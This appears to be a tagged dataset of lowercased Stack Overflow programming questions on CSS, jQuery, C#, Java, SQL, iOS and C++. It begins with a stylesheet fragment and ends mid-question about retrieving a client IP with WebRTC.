padding:5px } .portfolio ul li a:hover { text-decoration:none }  .optin-form-module { background-color:#f2fafe;  width:650px;  margin:0px auto 50px auto;  overflow:hidden;  border:1px solid #cfe8f4;  padding:0px } .optin-form { margin:0px auto;  padding:0px 0px 20px 0px;  overflow:hidden;  width:600px;  border:0px solid #000000;  } .optin-form ul { margin:0px;  padding:0px;  } .optin-form ul li { margin:0px;  padding:0px 0px 3px 0px;  list-style:none;  float:left;  } .optin-form ul li span { color:#ff0000;  padding-left:5px;  vertical-align:top } .optin-form ul li.col1 { width:255px;  line-height:normal;  padding:3px 10px 0px 0px;  text-align:right } .optin-form ul li.col2 { width:335px;  } .optin-form ul li.sub-col1 { width:25px;  } .optin-form ul li.sub-col2 { width:305px;  line-height:150%;  } .optin-form ul li .textfield { width:300px } .optin-form ul li .textfield-h { width:300px;  height:100px } .optin-form ul li .submit-btn { width:233px;  } .optin-form ul li.title { border-bottom:1px solid #cfe8f4;  padding:20px 0px 5px 2px;  margin-bottom:10px;  width:600px;  font-size:18px;  } .optin-form ul li.privacy { background:url(../images/lock-icon.gif) no-repeat 20px 10px;  padding:10px 0px 0px 55px;  border-top:1px solid #cfe8f4;  margin-top:10px;  width:545px }  /***** seo****/ .bullet-point-common { margin:0px 0px 10px 0px;  padding:0px;  } .bullet-point-common ul { margin:0px;  padding:0px;  } .bullet-point-common ul li { margin:0px;  padding:0px 0px 5px 20px;  list-style:none;  background:url(../images/bullet.gif) no-repeat 0px 3px;  line-height:normal } .bullet-point-common ul li.subpoint { background:url(../images/sub-bullet.jpg) no-repeat 22px 5px;  padding:0px 0px 3px 35px } .bullet-point-common ul li.title { font-size:18px;  color:#29a1d6;  padding:0px 0px 3px 0px;  text-shadow:2px 2px 0px #f1f1f1;  font-weight:bold;  border-bottom:1px solid #cfe8f4;  margin:10px 0px;  background:none }  .contactus-module { border:0px solid #000000;  overflow:hidden;  } .contact-adrs { margin:10px 70px 0px 0px;  padding:0px;  float:left;  border:0px solid #000000;  } .contact-adrs ul { margin:0px;  padding:0px;  } .contact-adrs ul li { margin:0px;  padding:0px 0px 3px 0px;  list-style:none } .contact-adrs ul li img { border:1px solid #dddddd } .contact-adrs ul li img:hover { border:1px solid #abd6eb }  .contactus-option-module { overflow:hidden;  border:0px solid #000000;  margin:30px 0px 0px 0px;  clear:left } .contactus-optin { margin:15px 0px;  padding:0px;  width:350px } .contactus-optin ul { margin:0px;  padding:0px;  } .contactus-optin ul li { margin:0px;  padding:0px 0px 3px 0px;  list-style:none;  float:left;  width:350px } .contactus-optin ul li.col1 { width:80px;  padding:5px 0px 0px 0px  } .contactus-optin ul li.col2 { width:250px;  } .contactus-optin ul li .textfield { width:225px;  } .contactus-optin ul li .textfield-h { height:100px;  } .contactus-optin ul li span { color:#ff0000;  padding:0px 0px 0px 5px;  vertical-align:top } .contactus-optin ul li .submit-btn { width:238px;  }  .client-ranking-module { margin:0px 0px 20px 0px;  padding:10px 0px 15px 15px;  border-top:0px solid #85be2f;  background-color:#f5f5f5 } .client-ranking-module ul { margin:0px;  padding:0px;  } .client-ranking-module ul li {  list-style:none;  font-size:13px;  font-weight:bold;  padding:0px 0px 5px 0px } .client-ranking-module ul li.screenshort { border:1px solid #dddddd;  width:665px;  padding-top:5px }   /***** tstimonials********/ #testimonials { border-bottom:1px dotted #8ecae7;  margin-bottom:20px;  padding-bottom:20px;  clear:left;  overflow:hidden  } #testimonials p.title { font-size:14px;  font-weight:bold;  color:#29a1d6;  padding-bottom:0px;  line-height:normal } #testimonials p .text { font-size:13px;  color:#222222;  font-weight:normal }   /**** careers****/ .apply-now{ background:url(../images/apply-now.jpg) no-repeat left top;  width:510px;  margin:20px auto;  height:47px;  font-size:16px;  padding: 6px 0px 0px 190px;  display:block;  color:#ffffff;  font-weight:bold } .apply-now:hover { color:#ffffff;  text-decoration:none }   /****** portfolio*****/ #portfolio-main { border:0px solid #000000;  overflow:hidden;  clear:left;  float:left;  margin-bottom:30px;  width:700px } .ecommerce-box { border:1px solid #cfe8f4;  background-color:#f2faff;  padding:10px 15px;  margin-bottom:10px } .casestudy-mrgn { margin:20px 0px 5px 0px } .casestudy-img { float:right;  margin:0px 0px 10px 10px;  border:2px solid #f1f1f1;  padding:5px }  .casestudy-table{ margin:8px 0px 10px 0px;  padding:0px;  border:1px solid #cccccc;  border-bottom:none;  width:698px;  overflow:hidden } .casestudy-table ul{ margin:0px;  padding:0px;  } .casestudy-table ul li{ margin:0px;  float:left;  line-height:200%;  list-style:none;  padding-left:8px;  border-right:1px solid #cccccc;  border-bottom:1px solid #cccccc;  } .casestudy-table ul li.col1{ width:123px;  } .casestudy-table ul li.col2{ width:190px;  } .casestudy-table ul li.col3{ width:180px;  } .casestudy-table ul li.col4{ width:170px;  border-right:0px;  } .casestudy-table ul li.backgrnd { background:#f6f6f6;  color:#222222 } .casestudy-table ul li.boldtext { background-color:#29a1d6;  color:#ffffff;  font-weight:bold } </code></pre>,css
where can i declare custom initialization for custom table cells   if i have a custom table cell that is used by:    <pre><code>tableview dequeuereusablecellwithidentifier </code></pre>   where inside of that custom cell can i set up custom initialization parameters  the auto-generated .m file for my custom table cell included:   <pre><code>- (id)initwithstyle:(uitableviewcellstyle)style reuseidentifier:(nsstring *)reuseidentifier {     nslog(@ initwithstyle! );     self = [super initwithstyle:style reuseidentifier:reuseidentifier];     if (self) {         // initialization code     }     return self; } </code></pre>   i added the <code>nslog</code> call to see if that <code>initwithstyle</code> is ever called  but that <code>nslog</code> is never reached  which means that that particular <code>initwithstyle</code> is also never called. so when a custom table cell is initialized using <code>dequeuereusablecellwithidentifier</code>  which <code>init</code> method of that custom cell is actually used,objective-c
what s the difference between a xib and a nib file   what s the difference between a xib and a nib file,iphone
c#: how to generate streamcontent only for first line of file  i have files with first line as a header     <a href= https://i.stack.imgur.com/pcrhz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pcrhz.png  alt= enter image description here ></a>    now  i have a web api controller code which accepts only <code>streamcontent</code>    <pre><code>using (filestream fs = new filestream(@ c:\files\test_copy.txt   filemode.createnew  fileaccess.write))             {                 await result.content.copytoasync(fs);             } </code></pre>   from client application  i am converting <code>filestream</code> to <code>streamcontent</code> and post to web api call.   <pre><code>content = new streamcontent(filestream)  </code></pre>   i am able to send entire file content using below code. question: can i send only first line of file as <code>streamcontent</code>     here i am using both client and server code in a console application    <pre><code>class program {     static void main(string[] args)     {         get().wait();     }       public static async task&lt;httpresponsemessage&gt; get()     {         using (var filestream = new filestream(@ c:\files\test.txt   filemode.open  fileaccess.read  fileshare.readwrite))         {             var result = new httpresponsemessage(httpstatuscode.ok)             {                 //how to send only first line of file as a  content                  content = new streamcontent(filestream)              };              using (filestream fs = new filestream(@ c:\files\test_copy.txt   filemode.createnew  fileaccess.write))             {                 await result.content.copytoasync(fs);             }              return result;         }      } } </code></pre>,c#
my program gives me java.lang.arrayindexoutofboundsexception: 1  i am writing a program to translate a phrase into pig latin by creating an array filled with the individual words of a string that the user inputs  then going through every individual word and changing it to pig latin  and printing it to the console. i usually get the error above when on the <code>while()</code> loop of my method:    <pre><code>    package upgaming;      public class methods {  public void translator(string s  string[] index  int location) {      while (index[location].length() &gt; 0) {          location++;          if(index.length &gt; 0)s = s + index[location].substring(1) + index[location].substring(0 1).tolowercase() +  ay ;          system.out.println(s);     }  } } </code></pre>   if i change the condition to simply <strong>while(true)</strong> i get the error of java.lang.arrayindexoutofbounds: 2 on this line:   <pre><code>        if(index.length &gt; 0)s = s + index[location].substring(1) + index[location].substring(0 1).tolowercase() +  ay ; </code></pre>   here is my class containing the <strong>main()</strong> method:   <pre><code>    package upgaming; </code></pre>   import java.util.scanner;    public class basic {   <pre><code>public static void main(string[] args) {      methods method = new methods();     scanner keyboard = new scanner(system.in);     string input;     int indexer = 1;     string ss =   ;      system.out.println( enter the word or phrase you want to translate to pig latin: );     input = keyboard.next();      string[] output = input.split( \\s+ );      method.translator(input  output  indexer);      system.out.println();  } } </code></pre>   please provide a code block of what my code <em>should</em> look like as i am not an experienced programmer.,java
unset a variable without checking whether it has been already used or declared  to unset a variable without cheking whether it has been already used or declared.which is valid in php: (a) or (b)  although both works. in the sample code below forward referencing is used how php handles it internally     (a)   <pre><code>while(stmt1-&gt;fetch()) {    unset($data);    $i=0;    while(stmt2-&gt;fetch())    {      //some code.......      $data[$i] = $some_value;      $i++;    } } </code></pre>   (b)     <pre><code>while(stmt1-&gt;fetch()) {    if(isset($data))    {      unset($data);    }    $i=0;    while(stmt2-&gt;fetch())    {      //some code.......      $data[$i] = $some_value;      $i++;    } } </code></pre>,php
returning object when expecting node  after some interaction in the table with id  mytable   i want to pass some nodes (bottom right of my table) to a function  myfunction. it gives the error   parameter 1 is not of type  node  .    i know <code>$(this)[0]</code> is giving me nodes  but when i add them to <code>thenodes</code> using <code>add()</code>  it gives an object.   <pre><code>$( #mytable ).mouseup(function () {     var thenodes = $();     $( #mytable ).find( tr:gt(2) td:gt(4) ).each( function() {        $(thenodes).add($(this)[0]);     });       var result = myfunction($(thenodes)); }); </code></pre>   it may be my declaration for <code>thenodes</code>  or using <code>add()</code>  but they were the only combinations i could use that didn t throw other errors.    how do i add nodes to thenodes where the result is node,jquery
format exception was unhandled c#  i m trying to save a set of records in my desktop c# application and it appears to stop since one of the values was in the incorrect format.     before saving  the system goes through these computations:   <pre><code>private void computetotalweight()     {         double totalweight;         totalweight = ((convert.toint32(txtsmall.text)) + (convert.toint32(txtmedium.text)) + (convert.toint32(txtlarge.text)) +              (convert.toint32(txtextralarge.text))) * .285;         txttotalweight.text = string.format( {0:# ##0}   totalweight);      }      private void computetagscollars()     {         int tagscollars;         tagscollars = convert.toint32(txtsmall.text) + convert.toint32(txtmedium.text)              + convert.toint32(txtlarge.text) + convert.toint32(txtextralarge.text);         txttags.text = string.format( {0:# ##0}   tagscollars);         txtcollars.text = string.format( {0:# ##0}   tagscollars);      } </code></pre>   but once i save  it seems to be having a problem with the grandtotal computation:     <a href= https://i.stack.imgur.com/qusac.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qusac.png  alt= enter image description here ></a>    i suspect the error come from this computation:   <pre><code>private void computegrandtotal()     {         double grandtotal;         grandtotal = (((convert.toint32(txtsmall.text) + convert.toint32(txtmedium.text) + convert.toint32(txtlarge.text) +              convert.toint32(txtextralarge.text)) * .285) * 315);          double tagscollars;         tagscollars = convert.toint32(txtsmall.text) + convert.toint32(txtmedium.text) + convert.toint32(txtlarge.text) + convert.toint32(txtextralarge.text);         txttags.text = string.format( {0:# ##0}   tagscollars);         txtcollars.text = string.format( {0:# ##0}   tagscollars);          lblgrandtotal.text = string.format( {0:# ### ##0}   (grandtotal + tagscollars + tagscollars));      } </code></pre>   i ve tried commenting out all grandtotal related values and functions  and the records begin to save with no problem. here s a copy of my save function:   <pre><code>private void insertnewrecord()     {         sqlcommand cmdinsert = new sqlcommand();         cmdinsert.connection = cn;         cmdinsert.commandtype = commandtype.text;         //cmdinsert.commandtype = commandtype.storedprocedure;          cmdinsert.parameters.addwithvalue( @qtysmall   convert.toint32(txtsmall.text));         cmdinsert.parameters.addwithvalue( @qtymedium   convert.toint32(txtmedium.text));         cmdinsert.parameters.addwithvalue( @qtylarge   convert.toint32(txtlarge.text));         cmdinsert.parameters.addwithvalue( @qtyextralarge   convert.toint32(txtextralarge.text));         cmdinsert.parameters.addwithvalue( @qtytags   convert.toint32(txttags.text));         cmdinsert.parameters.addwithvalue( @qtycollars   convert.toint32(txtcollars.text));         cmdinsert.parameters.addwithvalue( @totalweight   convert.toint32(txttotalweight.text));         cmdinsert.parameters.addwithvalue( @noworkers   convert.toint32(txtworkersno.text));         cmdinsert.parameters.addwithvalue( @nomachines   convert.toint32(txtmachinesno.text));         cmdinsert.parameters.addwithvalue( @bomstatus   sqldbtype.varchar).value = txtstatus.selecteditem.tostring();         cmdinsert.parameters.addwithvalue( @startdate   sqldbtype.datetime).value = dtpstart.value;         cmdinsert.parameters.addwithvalue( @enddate   sqldbtype.datetime).value = dtpend.value;         cmdinsert.parameters.addwithvalue( @grandtotal   convert.toint32(lblgrandtotal.text));         cmdinsert.commandtext =   insert into billofmaterials2   +   (qtysmall  qtymedium  qtylarge  qtyextralarge  qtytags  qtycollars  totalweight  noworkers  nomachines  bomstatus  startdate  enddate  grandtotal) values (  +  @qtysmall  @qtymedium  @qtylarge  @qtyextralarge  @qtytags  @qtycollars  @totalweight  @noworkers  @nomachines  @bomstatus  @startdate  @enddate  @grandtotal) ;         //cmdinsert.commandtext =  spinsertbom ;            cmdinsert.executenonquery();     } </code></pre>   any help would be much appreciated.,c#
change content of <option> elements  i have a <code>select</code> widget with a couple of ajax enhancements.   <pre><code>&lt;select id= authors &gt;     &lt;option value= 1 &gt;foo bar&lt;/option&gt;     &lt;option value= 2  selected= selected &gt;bar baz&lt;/option&gt; &lt;/select&gt; </code></pre>   now  if the selected option changes  i want to change the  content  ( foo bar  and  bar baz  in the example). how can i do that with jquery  i tried the following  but obviously  it doesn t work.   <pre><code>$( #authors ).change(function(){     $( #authors option[selected=selected] ).html( new content ); }); </code></pre>   /edit: to clarify  the selector <code> #authors option[selected=selected] </code> works fine  it selects the correct <code>option</code> dom element. but <code>.html( new content )</code> does nothing.    2nd edit: ok  this is embarrassing. i tried my code in chrome s javascript console  where it didn t have any effect. after jandy clearly demonstrated that it works in jsfiddle  i tried it in the firebug console  and there it works. lesson learned :-),jquery
is it possible to programatically open the settings app  (not the app settings within the settings app)  i want my app to be able to launch the user into the itunes &amp; app store section of the settings app. this doesn t seem to be possible so instead i would like to just take the user to the top level of the settings app so they can access the itunes &amp; app store section from there.    is this possible  all previous answers relating to this are regarding launching into the <em>app s settings</em> within the settings app.,ios
is there is any limitation of a html page  is there is any limitation of a html page that it can only hold some kb of data. if we do rest code it will be ignored.,html
virtual  is qualifier or keyword in c++    virtual  is qualifier or keyword in c++,c++
video capture software for iphone simulator  hi all  i m looking for a software/tool  which can lead me to capture my application in simulator.. i saw so many videos of application  which performs their functionality of application and capture it in video.    please suggest me some video capturing tool for my app promotion.    suggestions are always appreciated. regards,iphone
get the most common values for all columns  i want to get the most common values for all columns in a mysql table.   <pre><code>[id]  [userid]            [userid2] 1     johnnietheblack     marywhite 2     johnnietheblack     marywhite 3     dannyrottenegg      dannyrottenegg      4     marywhite           marywhite 5     marywhite           johnnietheblack      6     johnnietheblack     marywhite </code></pre>   here s the output i want:   <pre><code>[id]  [userid]            [count]     1     johnnietheblack     4     2     dannyrottenegg      2     3     marywhite           6 </code></pre>   i can use the following to get the common values for one columns. but how can i get the common values for <strong>all columns</strong>    <pre><code>select count(*) as `rows`  userid from table-name group by userid order by `rows` desc </code></pre>,mysql
class internal usage of public properties  let s say i have a class that exposes one property. is it considered to be a good aproach to use the private  holder variable  for internal use in the class  or should i use the property for internal use also.    to explain  should i use:   <pre><code>public class foo {     string _statusholder;     public string mystaus     {         get { return _statusholder; }         set{ _statusholder = value; }     }      public void displaymystatus()     {         console.writeline(_statusholder);     } } </code></pre>   or:   <pre><code>public class foo {     string _statusholder;     public string mystaus     {         get { return _statusholder; }         set{ _statusholder = value; }     }      public void displaymystatus()     {         console.writeline(mystaus);     } } </code></pre>   i could see it as beeing more consistent and more readable to use the second approach. it would also be more effective if i would later do some modificatins in the set-statement. but are there any performance issues or is it considered bad-practise for some reason    <hr>   <strong>edit:</strong>    it seems that everybody is leaning towards using the property internally. my initial thoughts was the same  but as a novice programmer  you can never know. thanks everyone for the quick feedback!,c#
show html images only when the item is being displayed  i saw this on hulu.com once  but can t get it to behave that way.    the problem is that i have a  marquee  that slides when you click the next button. there are 2 images per section  a total of about 40 sections.     the issue is that the browser loads all 40 * 2 images and it is consuming bandwidth like crazy.    is there a way to  saw load the images when the  slide  is shown,html
how to place text into div created in external javascript file .js  i have question. how to put div into external javascipt file (.js)  what is syntax  not .js into div that is already in html page but in .js file! this question here is reapeted and modified.    i repeat the code below is in .js file!   <pre><code>var div = document.createelement( div ); div.style.width =  100px ; div.style.height =  100px ; div.style.background =  red ; div.style.color =  white ; </code></pre>   what i want to do is to place code below into div writen in javascript eternal file .js! in the same .js file as code above.   <pre><code>  document.write( &lt;h1&gt;this is a heading&lt;/h1&gt; );   document.write( &lt;p&gt;this is a paragraph&lt;/p&gt; );  </code></pre>,javascript
vs 2008 crystal report toolbar overlapping menu  when we are viewing our reports in the web application on internet explorer 10 using compatibility mode  my menu items is getting overlapped by the toolbar of the crystal report. my menu is an asp.net menu item control and it is placed in our master page.    i have also tried to resolve the above by setting the z-index of the crystal report viewer to zero using a css class and setting the z-index of the asp menu control to 999 but it didn t worked. can anyone help us on the above.,asp.net
dialog not restricted to specified height  i have a jquery dialog configured as such:   <pre><code>var dialogoptions = {     autoopen:       false       modal:          false      draggable:      false      resizable:      false       closeonescape:  false      minheight:      450      minwidth:       800      height:         450      width:          800      create: function() {         $(this).css( maxheight   450).css( maxwidth  800);             }      buttons:        {  close : function() { $(this).dialog( close ); }} };  $( #detaildialog ).dialog(dialogoptions); </code></pre>   the version of jquery i m using is jquery-1.7.2.    i open the dialog in response to an href click like such:   <pre><code>function opendetaildialog(url)  {     $( #detaildialog ).dialog({ my : center    at : center   of :$(this)});     $( #detaildialog ).dialog( open ).load(encodeuri(url));  } </code></pre>   the div that i’m loading looks like this:   <pre><code>&lt;div id= detaildialog  style= width:800px;height:450px;overflow-y:scroll;display:none; &gt;&lt;/div&gt; </code></pre>   the page i’m loading into the dialog is a simple html table which displays a sql dataset.    now  the dataset can be of any length  ranging from one record to hundreds of records.  this is all working just dandy.    <strong>evil problem:</strong>  i cannot seem to restrict the jquery dialog to the same size every time.  the first time it displays properly according to the settings above.  every time thereafter  it is either too short or too long.  nothing i try seems to correct this.    do i need a div around the table that s displaying the record set   i ve tried with no avail.    i see lot’s of stuff on so regarding maxheight but this attribute seems to be not respected by the dialog.      i’m about ready to say goodbye to dialogs and revert to 1990’s era window pops.,jquery
how to access page controls inside [webmethod] method   i am using ajax to call some method from database  this method takes parameters from the page and gets some values from the db i want to populate the result to the page controls by accessing these controls in the web method.    below is my code. i am using collapsible panel extender. on click event it collapses &amp; should call verifyfunction method written in code behind.       <pre><code> &lt;asp:toolkitscriptmanager id= toolkitscriptmanager1  runat= server  enablepagemethods= true &gt;&lt;/asp:toolkitscriptmanager&gt;  &lt;asp:panel id= panel1  runat= server &gt; &lt;/asp:panel&gt; &lt;asp:linkbutton id= linkbutton1  runat= server &gt;linkbutton&lt;/asp:linkbutton&gt;   &lt;asp:collapsiblepanelextender id= cpesop  runat= server       collapsecontrolid= linkbutton1      collapsedsize= 0  collapsed= true  collapsedimage= ~/imgages/addrow.gif     expandcontrolid= linkbutton1  expanddirection= vertical  expandedimage= ~/imgages/addrow.gif     imagecontrolid= image1  suppresspostback= true  targetcontrolid= panel1 &gt; </code></pre>      <pre><code> &lt;!-- javascript content --&gt;  &lt;script type= text/javascript &gt;          function pageload(sender args){  $find( collapsiblebehavior ).add_expandcomplete( expandhandler );  $find( collapsiblebehavior ).add_collapsecomplete( collapsehandler );  }  function expandhandler( sender    args ){      alert( i have expanded );     // newplanbudget.aspx/verifyfunction     $.ajax(         {             url:  newplanbudget.aspx/verifyfunction               data:  flag=1               success: function (msg) {                 if (msg.d) {                     alert( sucess );                 }             }             });  }  function collapsehandler( sender    args ){  alert( i have collapsed );   } </code></pre>        the code behind is     [webmethod]   <pre><code>    protected void page_load(object sender  eventargs e)     {         cpesop.behaviorid =  collapsiblebehavior ;     }      public static void verifyfunction()     {          linkbutton1.text =  hello ;       } </code></pre>,asp.net
opening and closing time to store app  i am working on a objective c store app. i do not want people buying things in different times each day of the week. i need some thing that would be like  mon- thu: 11:00 am - 11:00 pm fri - sat: 11:00 am - 12:00 am sun: 11:00 am - 10:00 pm .    when you push a uibutton it would not let the buys go past and it would say a message like  we are closed  or  come back later .     if any one could help that would be great.,ios
mysql: specific item to be first and then to sort the rest chronologically to end then chronologically from beginning  lets say i have the following table:    <pre><code>friends _______  id    name 1     johnny 2     tam 3     slick 4     mat 5     rhanda 6     tommy 7     ike 8     spencer 9     alan </code></pre>   i want to get all the friends list but i want the id 5 to be the first item in the list. i want the next item to follow chronologically until the end. then the list start from the beginning until all results have been returned. so it should end like this...   <pre><code>friends _______  id    name 5     rhanda 6     tommy 7     ike 8     spencer 9     alan 1     johnny 2     tam 3     slick 4     mat </code></pre>   i have found and tried this but as you can imagine it s only returning the first item and then ordering the rest from 1 up. i have searched and worked on this for 2 days now and really could use some help. any suggestions,mysql
string array in asp.net  i have a string array(strlarge) containing 5 values say 1 2 3 4 5. i have another string(strsmall) containing a value say 3.    now i need to remove this strsmall from strlarge and finally get the result as 1 2 4 5.,asp.net
c or bitwise between #define and int  i have a little problem with a simple test: i have a logger with 3 levels  <code>log</code>  <code>debug</code> and <code>error</code>. at compilation i define the level error with a bitwise or operation between the values i need. but when i try to test <code>level</code> with the type message i receive  it s wrong. <code>5 &amp; 2</code> give me <code>1</code> if the level is a constant  but if i put <code>level</code> in an <code>int</code> variable  i don t have this problem. someone know why     here are the definitions in <strong>logger.h</strong>   <pre><code>#define log 1 #define debug 2 #define error 4 #define level log | error </code></pre>   this is the <strong>logger.c</strong>   <pre><code>printf( level %d\n   level); printf( type %d\n   type); int level = level; printf( and %d\n   level &amp; type); printf( and %d\n   level &amp; type); printf( and %d\n   5 &amp; 2); </code></pre>   results   <pre><code>level 5 type 2 and 1 and 0 and 0 </code></pre>,c
what is the alternative to $statechangestart in angular-ui latest version  in <a href= https://github.com/angular-ui/ui-router/releases/tag/1.0.0alpha0  rel= nofollow >angular-ui.router v1.0.0alpha0</a>     all state events  (i.e. $statechange* and friends) are deprecated and disabled by default;    now what to use in place of that   without using the ng1/stateevents.js file. can we use <code>$transitions.&lt;hooks&gt;</code>    and how do we access <strong>data</strong> attribute define in .state just to check authentications   <pre><code> $stateprovider     .state( base   {         url :  /           templateurl:  base.html           controller:  basecontroller          data : { pagetitle :  base  }     }) </code></pre>   earlier we can access by <code>$state.current.data.pagetitle</code>,angularjs
show a div tag only if a person is logged in  i was trying to incorporate a functionality in my asp.net such that  a <code>div</code> tag which contains the <code>profile navigation menu</code>  should only be visible if a person is logged in.  i know the condition on how to if the person is logged in or not but wanted to know the method to toggle the div tag on/off based on person s logged in status.   <pre><code>if(loggedin==yes) { //  } </code></pre>   thanks,asp.net
how to group by two cols with special case  the input data is: data format is: (class  type  name)  data is:    <pre><code>(1  a  p1) (1  b  p2) (1  c  p3) (2  a  p4) </code></pre>   from the above data i need to produce.    i want to group data by (class and type). but type=a and type=b should be count in one group. so     <pre><code>p1 and p2 is one group   p3 is one group   p4 is ome group. </code></pre>   the output should be: data format is: (class  count). data is:   <pre><code>(1  2) (1  1) (2  1) </code></pre>   can someone help me to do this in sql please  thanks a lot.,sql
how to disable clicking of buttons  i have 6 buttons in an array and 4 textviews in an array. when a random button is clicked its value will be set on textview[0] and when the next random button is clicked its value will be set on textview[1].  what i m trying to do is when 4 random buttons are clicked the 2 remaining buttons should be disabled since i only have 4 textviews. how should i do this    <pre><code>    textview[0] = (textview)findviewbyid(r.id.t1);     textview[1] = (textview)findviewbyid(r.id.t2);     textview[2] = (textview)findviewbyid(r.id.t3);     textview[3] = (textview)findviewbyid(r.id.t4);     final button button[] = new button[6];     button[0] = (button)findviewbyid(r.id.btn1);     button[1] = (button)findviewbyid(r.id.btn2);     button[2] = (button)findviewbyid(r.id.btn3);     button[3] = (button)findviewbyid(r.id.btn4);     button[4] = (button)findviewbyid(r.id.btn5);     button[5] = (button)findviewbyid(r.id.btn6);       for(int i = 0; i &lt;4; i++){         if (button[i].getid() == v.getid()){             textview[x].settext(button[i].gettext()); //x=0             button[i].setvisibility(view.invisible);                 if(x&lt;6)                     x++;             }     }      for(int i = 0; i &lt;6; i++){         if(button[i].getvisibility() == view.visible){             button[i].setenabled(false);         }     } </code></pre>,android
reading scanned document to database fields using c#  i am a little new developer in c#. i am facing a problem in developing some application.     i have to develope an  <strong>application</strong>  that <strong>opens a scanned document</strong>( of any <strong>application form or bank cheque</strong>) and <strong>save the required data of the document to the database</strong> for example... <strong>cheque number account no in a scanned copy of cheque or student name roll number etc in application form of a school.</strong>    i got the ideas regarding working with pixels.     please provide the solution regarding it.    i am using .net framework 3.5 with c# language    with regards varun dutta,.net
launch browser from my application  i want to launch safari browser from my ios app with an specific url when i press a button.    is that possible,iphone
conflict between hidden div and displayed div  i have a clickable div :    <pre><code>#next {     cursor:cell;     z-index:100; } </code></pre>   that is activated by this javascript :   <pre><code> $( #next ).click(function() {     $( .current ).removeclass( current ).hide()  } </code></pre>   and the divs:    <pre><code>#zob {     width: 100% ; height: 20px; }  #zobbig {     position:absolute;     width: 100% ;      height: 250px;  } </code></pre>   and when i hover on <code>#zob</code> then <code>#zobbig</code> appears.    <pre><code>#zob:hover ~#zobbig {     cursor:alias;     opacity:0.8;      margin-left: auto;     margin-right: auto ; } </code></pre>   my problem is that when it appears it make my <code>#next</code> div unlickable even when i m not hovering on <code>#zob</code>. a zone of <code>250px</code> (height of <code>#zobbig</code>) is disabling the click function of the <code>#next</code> div.  i just want my <code>#next</code> div to be clickable as it is supposed to be.    thanks for your help    dan    (you can see it directly on <a href= http://blog.dansayag.com  rel= nofollow >http://blog.dansayag.com</a>)    or on <a href= http://jsfiddle.net/cetfh/108/  rel= nofollow >http://jsfiddle.net/cetfh/108/</a>   <hr>   to make it easier: if you go on the fiddle there is a picture of bob dylan. if you point with the cursor on the eye  the cursor becomes a cross. if you point on the hat  the cursor is normal. i just want the cursor to be a cross on the entire bob dylan image...    if you go on fiddle you will also understand what is zob and what is zobbig,css
why does it literally return 0 at the end of the output <pre><code>#include &lt;iostream&gt; #include &lt;string&gt;    using namespace std;  /* function name: weightconv purpose: to take the weight and convert the following number to the coressponding weight unit return : 0 */   double weightconv(double w  string weightunit) {        if (weightunit ==  g  || weightunit ==  g  )         cout &lt;&lt;   mass =   &lt;&lt;  w * 0.035274 &lt;&lt;  oz ;     else if (weightunit ==  oz ||weightunit ==  oz ||weightunit ==  oz  ||weightunit ==  oz )         cout &lt;&lt;   mass =   &lt;&lt;  w * 28.3495 &lt;&lt;  g ;     else if (weightunit ==  kg ||weightunit ==  kg ||weightunit ==  kg  ||weightunit ==  kg )         cout &lt;&lt;   mass =   &lt;&lt;  w * 2.20462 &lt;&lt;  lb ;     else if (weightunit ==  lb  ||weightunit ==  lb  ||weightunit==  lb  ||weightunit ==  lb )         cout &lt;&lt;   mass =   &lt;&lt;  w * 0.453592 &lt;&lt;  kg ;     else if (weightunit ==  long-tn  ||weightunit ==  long-tn || weightunit ==  long-tn  || weightunit ==  long-ton )         cout &lt;&lt;   mass =   &lt;&lt;  w * 1.12 &lt;&lt;  sh tn ;     else if (weightunit ==  sh-tn  || weightunit ==  sh-tn )         cout &lt;&lt;   mass =   &lt;&lt; w / 0.892857 &lt;&lt;   long tons ;     // one other converstion that was not listed in the project desription (stones&lt;-&gt;tons)     else if (weightunit ==  s  || weightunit ==  s )         cout &lt;&lt;   mass =   &lt;&lt; w * 0.007 &lt;&lt;  tons ;     else if (weightunit ==  tons  || weightunit ==  tons  || weightunit ==  tons  || weightunit ==  tons || weightunit ==  tons )         cout &lt;&lt;   mass =   &lt;&lt; w * 142.857 &lt;&lt;  stones ;     else         cout &lt;&lt;  is an unknown unit and cannot be converted ;      return 0; }// end of weightcov function   int main() {     for (;;)     {         // variable declaration         string user;         double mass;         string unittype;          //prompt user to enter values         cout &lt;&lt;  enter a mass and its unit type indicator(g kg lb oz long-tn or sh-tn)  &lt;&lt; endl;         cin &gt;&gt; mass &gt;&gt; unittype;           // output results         cout &lt;&lt; weightconv(mass  unittype) &lt;&lt; endl;         cout &lt;&lt;  would you like to do another calculation (yes/no) ;         cin &gt;&gt; user;          //loop asking user if they want to do another calculation          if (user ==  yes )         {             cout &lt;&lt;  enter a mass and its unit type indicator(g kg lb oz long tn or sh tn)  &lt;&lt; endl;             cin &gt;&gt; mass &gt;&gt; unittype;             cout &lt;&lt; weightconv(mass  unittype) &lt;&lt; endl;         }         else if (user ==  no )         {             return 0;         }     }// end of for loop }// end of main  </code></pre>   program works well except for one error. when the results print out it literally adds a zero at the end. i know i am returning 0 at the end of the function but if return weightconv() it s infinite recursion. can anyone help me so that it just returns the answer and not zero at the end. thanks in advance.,c++
javascript function to find out client ip calls java before it assigns the value  this is the example i am trying :  <a href= https://ourcodeworld.com/articles/read/257/how-to-get-the-client-ip-address-with-javascript-only  rel= nofollow noreferrer >https://ourcodeworld.com/articles/read/257/how-to-get-the-client-ip-address-with-javascript-only</a>    this is the fiddle: <a href= https://jsfiddle.net/ourcodeworld/cks0v68q/ utm_source=website&amp;utm_medium=embed&amp;utm_campaign=cks0v68q  rel= nofollow noreferrer >https://jsfiddle.net/ourcodeworld/cks0v68q/ utm_source=website&amp;utm_medium=embed&amp;utm_campaign=cks0v68q</a>   <pre><code> /**  * get the user ip throught the webkitrtcpeerconnection  * @param onnewip {function} listener function to expose the ip locally  * @return undefined  */ function getuserip(onnewip) { //  onnewip - your listener function for new ips     //compatibility for firefox and chrome     var mypeerconnection = window.rtcpeerconnection || window.mozrtcpeerconnection || window.webkitrtcpeerconnection;     var pc = new mypeerconnection({         iceservers: []     })      noop = function() {}      localips = {}      ipregex = /([0-9]{1 3}(\.[0-9]{1 3}){3}|[a-f0-9]{1 4}(:[a-f0-9]{1 4}){7})/g      key;      function iterateip(ip) {         if (!localips[ip]) onnewip(ip);         localips[ip] = true;     }       //create a bogus data channel     pc.createdatachannel(  );      // create offer and set local description     pc.createoffer(function(sdp) {         sdp.sdp.split( \n ).foreach(function(line) {             if (line.indexof( candidate ) 